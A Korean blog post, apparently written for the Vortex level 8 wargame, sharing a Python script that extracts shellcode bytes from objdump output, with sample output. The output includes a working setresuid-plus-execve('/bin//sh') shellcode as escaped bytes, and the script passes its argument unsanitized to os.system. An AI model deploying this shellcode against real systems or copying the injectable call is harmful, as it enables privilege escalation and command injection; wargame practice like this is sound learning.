objdump를 이용한 쉘코드 추출 스크립트

vortex 8번 문제는 쉘코드를 작성해야 하는 문제인데 코드를 작성하여 gcc로 컴파일 후 objdump를 이용하여 쉘코드만 따로 뽑아내는 작업이 너무 번거로워 간단하게 스크립트로 작성하였습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
import re, sys, os

def parser():
    f = open('dump.txt', 'r')
    data = f.read()
    f.close()

    data = re.split('[0-9a-f]{8} <', data)
    for x in data:
        try:
            title = re.search('.*>:', x).group()
        except:
            title = ''
            pass

        hexdata = re.findall('\t[0-9a-f ]+\t', x)
        hexdata = ''.join(hexdata)
        hexdata = re.findall('[0-9a-f]{2} ', hexdata)

        print '############################################################'
        print '# <' + title[:-1]
        print '############################################################'
        print x
        output = []
        for x in hexdata:
            x = re.sub('\s', '', x)
            output.append('\x' + x)
        print ''.join(output)

def main():
    if len(sys.argv) != 2:
        print 'Usage: ./objdump2shellcode.py Filename'
        sys.exit()

    os.system('objdump -d ' + sys.argv[1] + ' > dump.txt')
    parser()

if __name__ == '__main__':
    main()

사용법은 아래와 같습니다.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
[byjjoon@ByJJoon sh]$ ./objdump2shellcode.py shell 
############################################################
# <
############################################################

shell:     file format elf32-i386

Disassembly of section .init:

############################################################
# <_init>
############################################################
_init>:
 8048274:       55                      push   %ebp
 8048275:       89 e5                   mov    %esp,%ebp
 8048277:       53                      push   %ebx
 8048278:       83 ec 04                sub    $0x4,%esp
 804827b:       e8 00 00 00 00          call   8048280 <_init+0xc>
 8048280:       5b                      pop    %ebx
 8048281:       81 c3 88 13 00 00       add    $0x1388,%ebx
 8048287:       8b 93 fc ff ff ff       mov    -0x4(%ebx),%edx
 804828d:       85 d2                   test   %edx,%edx
 804828f:       74 05                   je     8048296 <_init+0x22>
 8048291:       e8 1e 00 00 00          call   80482b4 <__gmon_start__@plt>
 8048296:       e8 d5 00 00 00          call   8048370 <frame_dummy>
 804829b:       e8 c0 01 00 00          call   8048460 <__do_global_ctors_aux>
 80482a0:       58                      pop    %eax
 80482a1:       5b                      pop    %ebx
 80482a2:       c9                      leave  
 80482a3:       c3                      ret    

Disassembly of section .plt:

\x55\x89\xe5\x53\x83\xec\x04\xe8\x00\x00\x00\x00\x5b\x81\xc3\x88\x13\x00\x00\x8b\x93\xfc\xff\xff\xff\x85\xd2\x74\x05\xe8\x1e\x00\x00\x00\xe8\xd5\x00\x00\x00\xe8\xc0\x01\x00\x00\x58\x5b\xc9\xc3
############################################################
# <__gmon_start__@plt-0x10>
############################################################
__gmon_start__@plt-0x10>:
 80482a4:       ff 35 0c 96 04 08       pushl  0x804960c
 80482aa:       ff 25 10 96 04 08       jmp    *0x8049610
 80482b0:       00 00                   add    %al,(%eax)
        ...

\xff\x35\x0c\x96\x04\x08\xff\x25\x10\x96\x04\x08\x00\x00
############################################################
# <__gmon_start__@plt>
############################################################
__gmon_start__@plt>:
 80482b4:       ff 25 14 96 04 08       jmp    *0x8049614
 80482ba:       68 00 00 00 00          push   $0x0
 80482bf:       e9 e0 ff ff ff          jmp    80482a4 <_init+0x30>

\xff\x25\x14\x96\x04\x08\x68\x00\x00\x00\x00\xe9\xe0\xff\xff\xff
############################################################
# <__libc_start_main@plt>
############################################################
__libc_start_main@plt>:
 80482c4:       ff 25 18 96 04 08       jmp    *0x8049618
 80482ca:       68 08 00 00 00          push   $0x8
 80482cf:       e9 d0 ff ff ff          jmp    80482a4 <_init+0x30>

Disassembly of section .text:

\xff\x25\x18\x96\x04\x08\x68\x08\x00\x00\x00\xe9\xd0\xff\xff\xff
############################################################
# <_start>
############################################################
_start>:
 80482e0:       31 ed                   xor    %ebp,%ebp
 80482e2:       5e                      pop    %esi
 80482e3:       89 e1                   mov    %esp,%ecx
 80482e5:       83 e4 f0                and    $0xfffffff0,%esp
 80482e8:       50                      push   %eax
 80482e9:       54                      push   %esp
 80482ea:       52                      push   %edx
 80482eb:       68 f0 83 04 08          push   $0x80483f0
 80482f0:       68 00 84 04 08          push   $0x8048400
 80482f5:       51                      push   %ecx
 80482f6:       56                      push   %esi
 80482f7:       68 bd 83 04 08          push   $0x80483bd
 80482fc:       e8 c3 ff ff ff          call   80482c4 <__libc_start_main@plt>
 8048301:       f4                      hlt    
 8048302:       90                      nop    
 8048303:       90                      nop    
 8048304:       90                      nop    
 8048305:       90                      nop    
 8048306:       90                      nop    
 8048307:       90                      nop    
 8048308:       90                      nop    
 8048309:       90                      nop    
 804830a:       90                      nop    
 804830b:       90                      nop    
 804830c:       90                      nop    
 804830d:       90                      nop    
 804830e:       90                      nop    
 804830f:       90                      nop    

\x31\xed\x5e\x89\xe1\x83\xe4\xf0\x50\x54\x52\x68\xf0\x83\x04\x08\x68\x00\x84\x04\x08\x51\x56\x68\xbd\x83\x04\x08\xe8\xc3\xff\xff\xff\xf4\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
############################################################
# <__do_global_dtors_aux>
############################################################
__do_global_dtors_aux>:
 8048310:       55                      push   %ebp
 8048311:       89 e5                   mov    %esp,%ebp
 8048313:       53                      push   %ebx
 8048314:       83 ec 04                sub    $0x4,%esp
 8048317:       80 3d 20 96 04 08 00    cmpb   $0x0,0x8049620
 804831e:       75 40                   jne    8048360 <__do_global_dtors_aux+0x50>
 8048320:       8b 15 24 96 04 08       mov    0x8049624,%edx
 8048326:       b8 34 95 04 08          mov    $0x8049534,%eax
 804832b:       2d 30 95 04 08          sub    $0x8049530,%eax
 8048330:       c1 f8 02                sar    $0x2,%eax
 8048333:       8d 58 ff                lea    -0x1(%eax),%ebx
 8048336:       39 da                   cmp    %ebx,%edx
 8048338:       73 1f                   jae    8048359 <__do_global_dtors_aux+0x49>
 804833a:       8d b6 00 00 00 00       lea    0x0(%esi),%esi
 8048340:       8d 42 01                lea    0x1(%edx),%eax
 8048343:       a3 24 96 04 08          mov    %eax,0x8049624
 8048348:       ff 14 85 30 95 04 08    call   *0x8049530(,%eax,4)
 804834f:       8b 15 24 96 04 08       mov    0x8049624,%edx
 8048355:       39 da                   cmp    %ebx,%edx
 8048357:       72 e7                   jb     8048340 <__do_global_dtors_aux+0x30>
 8048359:       c6 05 20 96 04 08 01    movb   $0x1,0x8049620
 8048360:       83 c4 04                add    $0x4,%esp
 8048363:       5b                      pop    %ebx
 8048364:       5d                      pop    %ebp
 8048365:       c3                      ret    
 8048366:       8d 76 00                lea    0x0(%esi),%esi
 8048369:       8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi

\x55\x89\xe5\x53\x83\xec\x04\x80\x3d\x20\x96\x04\x08\x00\x75\x40\x8b\x15\x24\x96\x04\x08\xb8\x34\x95\x04\x08\x2d\x30\x95\x04\x08\xc1\xf8\x02\x8d\x58\xff\x39\xda\x73\x1f\x8d\xb6\x00\x00\x00\x00\x8d\x42\x01\xa3\x24\x96\x04\x08\xff\x14\x85\x30\x95\x04\x08\x8b\x15\x24\x96\x04\x08\x39\xda\x72\xe7\xc6\x05\x20\x96\x04\x08\x01\x83\xc4\x04\x5b\x5d\xc3\x8d\x76\x00\x8d\xbc\x27\x00\x00\x00\x00
############################################################
# <frame_dummy>
############################################################
frame_dummy>:
 8048370:       55                      push   %ebp
 8048371:       89 e5                   mov    %esp,%ebp
 8048373:       83 ec 08                sub    $0x8,%esp
 8048376:       a1 38 95 04 08          mov    0x8049538,%eax
 804837b:       85 c0                   test   %eax,%eax
 804837d:       74 12                   je     8048391 <frame_dummy+0x21>
 804837f:       b8 00 00 00 00          mov    $0x0,%eax
 8048384:       85 c0                   test   %eax,%eax
 8048386:       74 09                   je     8048391 <frame_dummy+0x21>
 8048388:       c7 04 24 38 95 04 08    movl   $0x8049538,(%esp)
 804838f:       ff d0                   call   *%eax
 8048391:       c9                      leave  
 8048392:       c3                      ret    
 8048393:       90                      nop    

\x55\x89\xe5\x83\xec\x08\xa1\x38\x95\x04\x08\x85\xc0\x74\x12\xb8\x00\x00\x00\x00\x85\xc0\x74\x09\xc7\x04\x24\x38\x95\x04\x08\xff\xd0\xc9\xc3\x90
############################################################
# <modify>
############################################################
modify>:
 8048394:       5e                      pop    %esi
 8048395:       31 c0                   xor    %eax,%eax
 8048397:       31 db                   xor    %ebx,%ebx
 8048399:       31 c9                   xor    %ecx,%ecx
 804839b:       31 d2                   xor    %edx,%edx
 804839d:       b0 7d                   mov    $0x7d,%al
 804839f:       bb 10 80 04 08          mov    $0x8048010,%ebx
 80483a4:       30 db                   xor    %bl,%bl
 80483a6:       66 b9 10 20             mov    $0x2010,%cx
 80483aa:       30 c9                   xor    %cl,%cl
 80483ac:       b2 07                   mov    $0x7,%dl
 80483ae:       cd 80                   int    $0x80
 80483b0:       b8 81 85 04 08          mov    $0x8048581,%eax
 80483b5:       29 c6                   sub    %eax,%esi
 80483b7:       89 35 7d 85 04 08       mov    %esi,0x804857d

\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x7d\xbb\x10\x80\x04\x08\x30\xdb\x66\xb9\x10\x20\x30\xc9\xb2\x07\xcd\x80\xb8\x81\x85\x04\x08\x29\xc6\x89\x35\x7d\x85\x04\x08
############################################################
# <main>
############################################################
main>:
 80483bd:       e8 d2 ff ff ff          call   8048394 <modify>

\xe8\xd2\xff\xff\xff
############################################################
# <shell>
############################################################
shell>:
 80483c2:       31 c0                   xor    %eax,%eax
 80483c4:       b0 31                   mov    $0x31,%al
 80483c6:       cd 80                   int    $0x80
 80483c8:       89 c2                   mov    %eax,%edx
 80483ca:       89 c1                   mov    %eax,%ecx
 80483cc:       89 c3                   mov    %eax,%ebx
 80483ce:       31 c0                   xor    %eax,%eax
 80483d0:       b0 a4                   mov    $0xa4,%al
 80483d2:       cd 80                   int    $0x80
 80483d4:       31 c0                   xor    %eax,%eax
 80483d6:       50                      push   %eax
 80483d7:       68 2f 2f 73 68          push   $0x68732f2f
 80483dc:       68 2f 62 69 6e          push   $0x6e69622f
 80483e1:       89 e3                   mov    %esp,%ebx
 80483e3:       50                      push   %eax
 80483e4:       53                      push   %ebx
 80483e5:       89 e1                   mov    %esp,%ecx
 80483e7:       89 c2                   mov    %eax,%edx
 80483e9:       b0 0b                   mov    $0xb,%al
 80483eb:       cd 80                   int    $0x80
 80483ed:       90                      nop    
 80483ee:       90                      nop    
 80483ef:       90                      nop    

\x31\xc0\xb0\x31\xcd\x80\x89\xc2\x89\xc1\x89\xc3\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x90\x90\x90
############################################################
# <__libc_csu_fini>
############################################################
__libc_csu_fini>:
 80483f0:       55                      push   %ebp
 80483f1:       89 e5                   mov    %esp,%ebp
 80483f3:       5d                      pop    %ebp
 80483f4:       c3                      ret    
 80483f5:       8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi
 80483f9:       8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi

\x55\x89\xe5\x5d\xc3\x8d\x74\x26\x00\x8d\xbc\x27\x00\x00\x00\x00
############################################################
# <__libc_csu_init>
############################################################
__libc_csu_init>:
 8048400:       55                      push   %ebp
 8048401:       89 e5                   mov    %esp,%ebp
 8048403:       57                      push   %edi
 8048404:       56                      push   %esi
 8048405:       53                      push   %ebx
 8048406:       e8 4f 00 00 00          call   804845a <__i686.get_pc_thunk.bx>
 804840b:       81 c3 fd 11 00 00       add    $0x11fd,%ebx
 8048411:       83 ec 0c                sub    $0xc,%esp
 8048414:       e8 5b fe ff ff          call   8048274 <_init>
 8048419:       8d bb 20 ff ff ff       lea    -0xe0(%ebx),%edi
 804841f:       8d 83 20 ff ff ff       lea    -0xe0(%ebx),%eax
 8048425:       29 c7                   sub    %eax,%edi
 8048427:       c1 ff 02                sar    $0x2,%edi
 804842a:       85 ff                   test   %edi,%edi
 804842c:       74 24                   je     8048452 <__libc_csu_init+0x52>
 804842e:       31 f6                   xor    %esi,%esi
 8048430:       8b 45 10                mov    0x10(%ebp),%eax
 8048433:       89 44 24 08             mov    %eax,0x8(%esp)
 8048437:       8b 45 0c                mov    0xc(%ebp),%eax
 804843a:       89 44 24 04             mov    %eax,0x4(%esp)
 804843e:       8b 45 08                mov    0x8(%ebp),%eax
 8048441:       89 04 24                mov    %eax,(%esp)
 8048444:       ff 94 b3 20 ff ff ff    call   *-0xe0(%ebx,%esi,4)
 804844b:       83 c6 01                add    $0x1,%esi
 804844e:       39 fe                   cmp    %edi,%esi
 8048450:       72 de                   jb     8048430 <__libc_csu_init+0x30>
 8048452:       83 c4 0c                add    $0xc,%esp
 8048455:       5b                      pop    %ebx
 8048456:       5e                      pop    %esi
 8048457:       5f                      pop    %edi
 8048458:       5d                      pop    %ebp
 8048459:       c3                      ret    

\x55\x89\xe5\x57\x56\x53\xe8\x4f\x00\x00\x00\x81\xc3\xfd\x11\x00\x00\x83\xec\x0c\xe8\x5b\xfe\xff\xff\x8d\xbb\x20\xff\xff\xff\x8d\x83\x20\xff\xff\xff\x29\xc7\xc1\xff\x02\x85\xff\x74\x24\x31\xf6\x8b\x45\x10\x89\x44\x24\x08\x8b\x45\x0c\x89\x44\x24\x04\x8b\x45\x08\x89\x04\x24\xff\x94\xb3\x20\xff\xff\xff\x83\xc6\x01\x39\xfe\x72\xde\x83\xc4\x0c\x5b\x5e\x5f\x5d\xc3
############################################################
# <__i686.get_pc_thunk.bx>
############################################################
__i686.get_pc_thunk.bx>:
 804845a:       8b 1c 24                mov    (%esp),%ebx
 804845d:       c3                      ret    
 804845e:       90                      nop    
 804845f:       90                      nop    

\x8b\x1c\x24\xc3\x90\x90
############################################################
# <__do_global_ctors_aux>
############################################################
__do_global_ctors_aux>:
 8048460:       55                      push   %ebp
 8048461:       89 e5                   mov    %esp,%ebp
 8048463:       53                      push   %ebx
 8048464:       83 ec 04                sub    $0x4,%esp
 8048467:       a1 28 95 04 08          mov    0x8049528,%eax
 804846c:       83 f8 ff                cmp    $0xffffffff,%eax
 804846f:       74 13                   je     8048484 <__do_global_ctors_aux+0x24>
 8048471:       bb 28 95 04 08          mov    $0x8049528,%ebx
 8048476:       66 90                   xchg   %ax,%ax
 8048478:       83 eb 04                sub    $0x4,%ebx
 804847b:       ff d0                   call   *%eax
 804847d:       8b 03                   mov    (%ebx),%eax
 804847f:       83 f8 ff                cmp    $0xffffffff,%eax
 8048482:       75 f4                   jne    8048478 <__do_global_ctors_aux+0x18>
 8048484:       83 c4 04                add    $0x4,%esp
 8048487:       5b                      pop    %ebx
 8048488:       5d                      pop    %ebp
 8048489:       c3                      ret    
 804848a:       90                      nop    
 804848b:       90                      nop    

Disassembly of section .fini:

\x55\x89\xe5\x53\x83\xec\x04\xa1\x28\x95\x04\x08\x83\xf8\xff\x74\x13\xbb\x28\x95\x04\x08\x66\x90\x83\xeb\x04\xff\xd0\x8b\x03\x83\xf8\xff\x75\xf4\x83\xc4\x04\x5b\x5d\xc3\x90\x90
############################################################
# <_fini>
############################################################
_fini>:
 804848c:       55                      push   %ebp
 804848d:       89 e5                   mov    %esp,%ebp
 804848f:       53                      push   %ebx
 8048490:       83 ec 04                sub    $0x4,%esp
 8048493:       e8 00 00 00 00          call   8048498 <_fini+0xc>
 8048498:       5b                      pop    %ebx
 8048499:       81 c3 70 11 00 00       add    $0x1170,%ebx
 804849f:       e8 6c fe ff ff          call   8048310 <__do_global_dtors_aux>
 80484a4:       59                      pop    %ecx
 80484a5:       5b                      pop    %ebx
 80484a6:       c9                      leave  
 80484a7:       c3                      ret    

\x55\x89\xe5\x53\x83\xec\x04\xe8\x00\x00\x00\x00\x5b\x81\xc3\x70\x11\x00\x00\xe8\x6c\xfe\xff\xff\x59\x5b\xc9\xc3

필요한 부분만 뽑아서 쓰시면 되겠죠? :-)

혹시나 이보다 더 간단하게 뽑아내는 방법을 아시는 분이 계시면 리플 부탁 드립니다. 명령어로 그냥 쉽게 될거 같은데 전 잘 모르겠네요 XD

Hugo로 만듦
Jimmy의 Stack 테마 사용 중